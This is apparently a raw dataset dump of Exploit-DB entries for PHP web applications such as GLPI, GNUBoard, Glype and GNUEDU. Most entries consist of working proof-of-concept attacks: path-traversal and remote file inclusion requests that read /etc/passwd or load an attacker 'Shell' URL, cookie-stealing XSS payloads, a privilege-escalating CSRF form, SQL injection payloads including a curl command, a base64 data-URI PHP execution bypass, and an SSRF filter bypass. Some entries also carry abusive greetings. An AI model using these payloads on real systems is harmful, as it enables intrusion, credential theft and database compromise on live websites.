deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49628
Description: GLPI 9.5.3 - 'fromtype' Unsafe Reflection
Type: webapps
Platform: php
Date: 2021-03-08
Author: Vadym Soroka

Exploit:
# Exploit Title: GLPI 9.5.3 - 'fromtype' Unsafe Reflection
# Date: 2021-02-13
# Exploit Author: Vadym Soroka @Iterasec https://iterasec.com
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: <=9.5.3
# Tested on:v9.5.3, 2021-02-13
# Technical advisories:
# https://github.com/glpi-project/glpi/security/advisories/GHSA-qmw7-w2m4-rjwp
# https://iterasec.com/cve-2021-21327-unsafe-reflection-in-getitemforitemtype-in-glpi/


Impact:

Non-authenticated user can remotely instantiate object of any class existing in the GLPI environment that can be used to carry out malicious attacks, or to start a “POP chain”.
As an example of direct impact, this vulnerability affects integrity of the GLPI core platform and third-party plugins runtime misusing classes which implement some sensitive operations in their constructors or destructors.

Description:

When passing an existing class (ex: "Glpi\Console\Application" class) as an input of the getItemForItemtype() function new object of this class is created executing its constructor e.g. magic __construct() PHP method if declared.
When a PHP object gets destroyed, its __destruct() method is executed.
There are many entry points in the GLPI and its plugins, where untrusted user input is passed to the getItemForItemtype() function missing proper input and authorization checks, so just one example is shown to demonstrate the issue in the dropdownConnect.php as an entry point.

Vulnerable code sample:

--- file dropdownConnect.php:
if (!isset($_POST['fromtype']) || !($fromitem = getItemForItemtype($_POST['fromtype']))) {
exit();
}
---
--- file dbutils.class.php, function getItemForItemtype($itemtype)
if (class_exists($itemtype)) {
return new $itemtype();
}
//handle namespaces
if (substr($itemtype, 0, \strlen(NS_GLPI)) === NS_GLPI) {
$itemtype = stripslashes($itemtype);
if (class_exists($itemtype)) {
return new $itemtype();
}
}
---

POC/Steps to reproduce:

Issue a request*:
POST /ajax/dropdownConnect.php HTTP/1.1
Host: glpi
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 12

fromtype=XXX
* replacing XXX with a class name existing in the deployed GLPI environment with expected patterns, e.g.:
GLPI Core: "Glpi\Foo\Bar"
GLPI Plugins: "PluginFooBar"
Exploit-DB #51232
Description: GLPI Activity  v3.1.0 - Authenticated Local File Inclusion on Activity plugin
Type: webapps
Platform: php
Date: 2023-04-03
Author: Nuri Çilengir

Exploit:
# Exploit Title: GLPI Activity  v3.1.0 - Authenticated Local File Inclusion on Activity plugin
# Date of found: 11 Jun 2022
# Application: GLPI Activity < 3.1.0
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/InfotelGLPI/activity
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE : CVE-2022-34125

# PoC
GET /marketplace/activity/front/cra.send.php?&file=../../\\..\\..\\..\\..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts&seefile=1 HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Exploit-DB #51230
Description: GLPI Glpiinventory v1.0.1 - Unauthenticated Local File Inclusion
Type: webapps
Platform: php
Date: 2023-04-03
Author: Nuri Çilengir

Exploit:
# ADVISORY INFORMATION
# Exploit Title: GLPI Glpiinventory v1.0.1 - Unauthenticated Local File Inclusion  
# Date of found: 11 Jun 2022
# Application: GLPI Glpiinventory <= 1.0.1
# Author: Nuri Çilengir 
# Vendor Homepage: https://glpi-project.org/
# Software Link: https://github.com/glpi-project/glpi-inventory-plugin
# Advisory: https://pentest.blog/advisory-glpi-service-management-software-sql-injection-remote-code-execution-and-local-file-inclusion/
# Tested on: Ubuntu 22.04
# CVE: CVE-2022-31062

# PoC
POST /marketplace/glpiinventory/b/deploy/index.php?action=getFilePart&file=../../\\..\\..\\..\\..\\System32\\drivers\\etc\\hosts&version=1 HTTP/1.1
Host: 192.168.56.113
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #34759
Description: Glype 1.4.9 - Local Address Filter Bypass
Type: webapps
Platform: php
Date: 2014-09-24
Author: Securify

Exploit:
------------------------------------------------------------------------
Glype proxy local address filter bypass
------------------------------------------------------------------------
Securify, September 2014

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A vulnerability has been identified in the Glype web-based proxy. Glype
has a filter to disallow users from surfing to local addresses, to
prevents users from attacking the local server/network Glype is running
on. The filter can easily be bypassed by using IPs in decimal form.

------------------------------------------------------------------------
Affected versions
------------------------------------------------------------------------
This issue has been identified in Glype 1.4.9. Older version are most
likely affected as well.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Glype was informed and a fixed version (1.4.10) is now available at
www.glype.com

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
http://www.securify.nl/advisory/SFY20140902/glype_proxy_local_address_filter_bypass.html

Glype local address bypass

Glype uses the following code (regex) to filter out internal/local addresses. This is intended to prevent proxy users from attacking local/internal resources through Glype.

browse.php
# Protect LAN from access through proxy (protected addresses copied from PHProxy)
if ( preg_match('#^(?:127\.|192\.168\.|10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|localhost)#i', $URL['host']) ) {
   error('banned_site', $URL['host']);
}

This regex can easily be bypassed by using a decimal format IP address, which allows an attacker to browse/attack the internal server/network Glype is running on.

For example, if a server running Glype also runs phpmyadmin or another admin panel on local host, browsing to http://[PII_REDACTED]/phpmyadmin[PII_REDACTED] equals 127.0.0.1 in decimal) causes Glype to create a local connection to phpmyadmin, allowing remote access. Other internal web pages running on the internal network could be accessed like this as well.

Possible fix

Resolving the hostname using PHP’s gethostbyname before using the regular expression will eliminate this bypass.

$URL['host'] = gethostbyname($URL['host’]);

# Protect LAN from access through proxy (protected addresses copied from PHProxy)
if ( preg_match('#^(?:127\.|192\.168\.|10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|localhost)#i', $URL['host']) ) {
   error('banned_site', $URL['host']);
}
Exploit-DB #26989
Description: GMailSite 1.0.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-29
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16081/info

GMailSite is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

GMailSite 1.0.4 and prior versions are affected by this issue. GFHost 0.4.2 and prior versions are also vulnerable.

http://www.example.com/?lng=es"><script>alert(document.cookie)</script>
http://www.example.com/index.php?lng=es"><script>alert(document.cookie)</script>
Exploit-DB #30073
Description: GMTT Music Distro 1.2 - 'ShowOwn.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-22
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/24108/info

GMTT Music Distro is prone to a cross-site scripting vulnerability.

This vulnerability potentially allows an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

GMTT Music Distro 1.2 is reported vulnerable; other versions may also be affected. 

http://www.example.com/path/showown.php?st=XSS
Exploit-DB #11621
Description: Gnat-TGP 1.2.20 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-03-03
Author: cr4wl3r

Exploit:
###############################################################
# Gnat-TGP <= 1.2.20 Remote File Include Vulnerability
# By cr4wl3r
# Download: http://www.komputer.boo.pl/download/skrypty/galerie/gnat-tgp.rar
# Gr33tz: EA ngel, Hmei7, zvtral, mywisdom and all my friend
###############################################################
###############################################################
# Fuck to buat loe tukang show off, dan buat loe yang mengaku dirinya hacker dan pamer sana-sini
# mengatakan orang lain lamer karena suka deface sedangkan dirinya adalah tukang deface
# you are 1337 lamer 1337 hoax and 1337 gay
# i'm injector and rooter in the site and i'm be silent
###############################################################
###############################################################

# PoC: http://server/includes/tgpinc.php?DOCUMENT_ROOT=[Shell]

###############################################################
Exploit-DB #43909
Description: Gnew 2018.1 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-01-28
Author: Cyril Vallicari

Exploit:
# Exploit Title: Gnew 2018.1 - Cross-Site Request Forgery
# Date: 26/01/2018
# Exploit Author: Cyril Vallicari / HTTPCS - ZIWIT
# Vendor website : http://gnew.xyz/
# Software download : http://www.gnew.xyz/pages/download.php
# Version: 2018.1
# Tested on: Windows 10 Home x64  / Kali Linux

Product description :

Gnew is a simple content management system (CMS) written in PHP and
using a database server (MySQL, PostgreSQL or SQLite) for storage. It is
fully customizable because it uses a system of templates and supports
multiple languages

Description :

A vulnerability has been discovered in Gnew , which can be exploited by
malicious people to conduct cross-site request forgery attacks.
This can be used to get a privilege escalation on the targeted application.

POC :

------------------------------------ HTML--------------------------------------

<form action="http://Target/gnew/admin/users.php " method="POST">
 <input type="hidden" name="_method" value="POST"/>
 <input type="hidden" name="user_name" value="test2"/>
 <input type="hidden" name="user_level" value="4"/>
 <input type="hidden" name="user_email" value="gnewtest@yopmail.com"/>
 <input type="hidden" name="user_show_email" value="0"/>
<input type="hidden" name="user_day" value="0"/>
<input type="hidden" name="user_month" value="0"/>
<input type="hidden" name="user_month" value="0"/>
 <input type="hidden" name="user_language" value="english"/>
 <input type="hidden" name="user_template" value="clean"/>
 <input type="hidden" name="user_date_format" value="D,+M+jS+Y,+g:i+a"/>
 <input type="hidden" name="user_date_offset" value="0"/>
<input type="hidden" name="user_avatar" value=""/>
 <input type="hidden" name="user_date_offset" value="0"/>
 <input type="hidden" name="user_avatar"
value="./../images/avatars/empty.png"/>
 <input type="hidden" name="user_id" value="2"/>
<input type="hidden" name="user_level_old" value="1"/>
<input type="hidden" name="user_name_old" value="test2"/>
<input type="hidden" name="edit_user" value="Ã‰diter"/>
<input type="submit" value="CSRF This"/></form>

------------------------------------ HTML END--------------------------------------
Exploit-DB #1851
Description: gnopaste 0.5.3 - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-30
Author: SmokeZ

Exploit:
# gnopaste <= 0.5.3 - Remote File Include Vulnerabilities
# Script site: http://sourceforge.net/projects/gnopaste
# made by SmokeZ (smoke.hes@gmail.com)

http://www.site.com/[gnopaste_path]/includes/common.php?root_path=SHELLCODE_URL.txt?

# milw0rm.com [2006-05-30]
Exploit-DB #5647
Description: GNU/Gallery 1.1.1.0 - 'admin.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-18
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+	   GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability     +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 17 MAY 2008
Script Download: http://gnugallery.sourceforge.net/
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 

GNU/Gallery suffers from a remote file inclusion vulnerability in the "admin.php" file.



Vulnerable Code:

<?php
if($_GET['show']=="") {
  include("admin/index.php");
} else {
  include("admin/".$_GET['show']);
}
?>



Vulnerability:

http://site.com/admin.php?show=../../../../../../../etc/passwd



NOTE/TIP: 

fair amount of sites running, althou no good dork.



GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



peace, t0pP8uZz



--==+================================================================================+==--
--==+	   GNU/Gallery <= 1.1.1.0 (admin.php) Local File Inclusion Vulnerability     +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-18]
Exploit-DB #7792
Description: GNUBoard 4.31.03 (08.12.29) - Local File Inclusion
Type: webapps
Platform: php
Date: 2009-01-15
Author: flyh4t

Exploit:
GNUBoard V4.31.03 (08.12.29) Local/Remote File Include Vulnerability
BY flyh4t#hotmail.com
Thx to qiuren/rayt
TEAM:Wolves Security Team
SITE:http://bbs.wolvez.org/

/*************************

SIR GNUBoard (VERSION 4.31.03 (08.12.29))is a widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But we find a file include vulnerability affects SIR GNUBoard.
In special conditions,it may be used as a remote file include vulnerability .
This issue  to  execute arbitrary  PHP code on an affected computer with the privileges of the affected Web server.
Here is the details:

**************************/
TEST ON VERSION 4.31.03 (08.12.29)

/***************************
/common.php

@extract($_GET);
@extract($_POST);
@extract($_SERVER);

â€¦â€¦

if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("<meta http-equiv='content-type' content='text/html; '><script language='JavaScript'> alert('wrong.'); </script>");
   
//if (!$g4_path) $g4_path = ".";
//it's not allow char :// in $g4_path
$g4['path'] = $g4_path;

unset($g4_path);

include_once("$g4[path]/lib/constant.php");  //file include
include_once("$g4[path]/config.php");  
include_once("$g4[path]/lib/common.lib.php");

*************************/

poc:
http://test.com/GnuBoard/common.php?g4_path=../../../../../../etc/passwd%00

when the site meets PHP >= 5.2.0&allow_url_include = On, we  can  use php data bypass preg_match("/:\/\//", $g4_path)
it's became a Remote File Include Vulnerability

poc:
/*************************

bypass_local.php
<?php
//coded by qiuren
if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("fuck");
$g4['path'] = $g4_path;
unset($g4_path);
include_once("$g4[path]/lib/constant.php");
?>

bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=

phpinfo() can be executed
***************************/

# milw0rm.com [2009-01-15]
Exploit-DB #17992
Description: GNUBoard 4.33.02 - 'tp.php?PATH_INFO' SQL Injection
Type: webapps
Platform: php
Date: 2011-10-17
Author: flyh4t

Exploit:
# Exploit Title: Gnuboard <= 4.33.02 PATH_INFO SQL INJECTION Vulnerability
# Google Dork: inurl:gnuboard4/bbs/board.php
# Date: 2011-2-14
# Author: flyh4t
# Software Link: http://sir.co.kr/main/gnuboard4/
# Version: Gnuboard <= 4.33.02
# Tested on: linux+apache
# CVE : CVE-2011-4066


Gnuboard <= 4.33.02 PATH_INFO SQL INJECTION Vulnerability
---------------------------------
Bug found By Flyh4t & alpha.liu
mail:
flyh4t phpsec@hotmail.com
alpha  alpha@patching.net
Site:bbs.wolvez.org
---------------------------------
SIR GNUBoard(http://sir.co.kr) is a widely used bulletin board system of Korea.  
It is freely available for all platforms that supports PHP and MySQL.  
But we find a SQL INJECTION affects SIR GNUBoard version 4.33.02 
The codes can be download here
http://sir.co.kr/main/gnuboard4/
Here is the Vulnerability code in /bbs/tb.php
 
-----------------------vul code-------------------
//bbs/tb.php
$arr = explode("/", $_SERVER[PATH_INFO]);
//$_SERVER[PATH_INFO] is not affected by the magic_quotes_gpc set of php
//we can inject arbitrary sql code include single quotes through $_SERVER[PATH_INFO] 
$bo_table = $arr[1];
$wr_id = $arr[2];
$to_token = $arr[3];
//we can pass arbitrary sql code to $bo_table 
$write_table   = $g4[write_prefix] . $bo_table;
// $write_table can be injected through $bo_table
$sql = " select wr_id, ca_name, wr_email from $write_table where wr_id = '$wr_id' ";
//here $write_table lead to sql injection,and no need of  single quotes
$wr = sql_fetch($sql, FALSE);
if (!$wr[wr_id] || !($_POST[title] && $_POST[excerpt] && $_POST[url] && $_POST[blog_name])) 
{
    $tmp_dir = str_replace("/tb.php", "", $_SERVER[SCRIPT_NAME]);
    header("location:$tmp_dir/board.php?bo_table=$bo_table&wr_id=$wr_id");
    exit;
}
-----------------------vul code end-------------------

-----------------------poc------------------------
bbs/tb.php/[sql]/[sql]
--------------------------------------------------
Exploit-DB #36973
Description: GNUBoard 4.34.20 - 'download.php' HTML Injection
Type: webapps
Platform: php
Date: 2012-03-20
Author: wh1ant

Exploit:
source: https://www.securityfocus.com/bid/52622/info

Gnuboard is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied HTML and script code would run in the context of the affected website, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user.

Gnuboard versions prior to 4.34.21 are vulnerable.

1) you can upload a file (e.g. a.txt) to the BBS.
2) you can download it from the following scripts and figure out what's working on.
   ### vulnerable code #########################################################################################################################
   javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', 'a.txt');
   #############################################################################################################################################
3) you can also upload a file with name of XSS code. The following is the example.
   - ');alert(document.cookie);//
   - %27);alert(document.cookie);%2f%2f
   - %27%29%3b%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%2f%2f
   ### vulnerable code #########################################################################################################################
   javascript:file_download('./download.php?bo_table=test&wr_id=13&no=0&sca=&sfl=&stx=&sst=&sod=&spt=0&page=0', '');alert(document.cookie);//');
   #############################################################################################################################################
4) The example file works by pulling in the Javascript and running it as part of the Javascript.
Exploit-DB #39116
Description: GNUBoard 4.3x - 'ajax.autosave.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2014-03-19
Author: Claepo Wang

Exploit:
source: https://www.securityfocus.com/bid/66228/info

GNUboard is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/bbs/ajax.autosave.php?content=1&subject=1[SQLi]
Exploit-DB #52167
Description: Gnuboard5 5.3.2.8 - SQL Injection
Type: webapps
Platform: php
Date: 2025-04-11
Author: CodeSecLab

Exploit:
# Exploit Title: Gnuboard5 5.3.2.8 - SQL Injection
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/gnuboard/gnuboard5
# Software Link: https://github.com/gnuboard/gnuboard5
# Version: 5.3.2.8
# Tested on: Ubuntu Windows
# CVE : CVE-2020-18662

PoC: 
1)
POST /install/install_db.php HTTP/1.1
Host: gnuboard
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

mysql_user=root&mysql_pass=password&mysql_db=gnuboard&table_prefix=12`; select sleep(5)#
result: sleep 5s.
2)
curl -X POST http://gnuboard/install/install_db.php \
  -d "mysql_user=root" \
  -d "mysql_pass=password" \
  -d "mysql_db=gnuboard_db" \
  -d "table_prefix=' OR 1=1--"
result: The application does not work.

[Replace Your Domain Name and Replace Database Information]
Exploit-DB #3876
Description: GNUEDU 1.3b2 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-05-08
Author: GoLd_M

Exploit:
# gnuedu 1.3b2 Multiple Remote File Inclusion Vulnerabilities
# D.Script: http://gnuedu.ofset.org/download/
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/libs/lom.php?ETCDIR=Shell
# Exploit:[Path]/scripts/lom_update.php?ETCDIR=Shell
# Exploit:[Path]/scripts/check-lom.php?ETCDIR=Shell
# Exploit:[Path]/scripts/weigh_keywords.php?ETCDIR=Shell
# Exploit:[Path]/web/logout.php?LIBSDIR=Shell
# Exploit:[Path]/web/help.php?LIBSDIR=Shell
# Exploit:[Path]/web/index.php?LIBSDIR=Shell
# Exploit:[Path]/web/login.php?LIBSDIR=Shell
# Exploit:[Path]/web/lom.php?ETCDIR=Shell
# Greetz To: Tryag-Team ....**

# milw0rm.com [2007-05-08]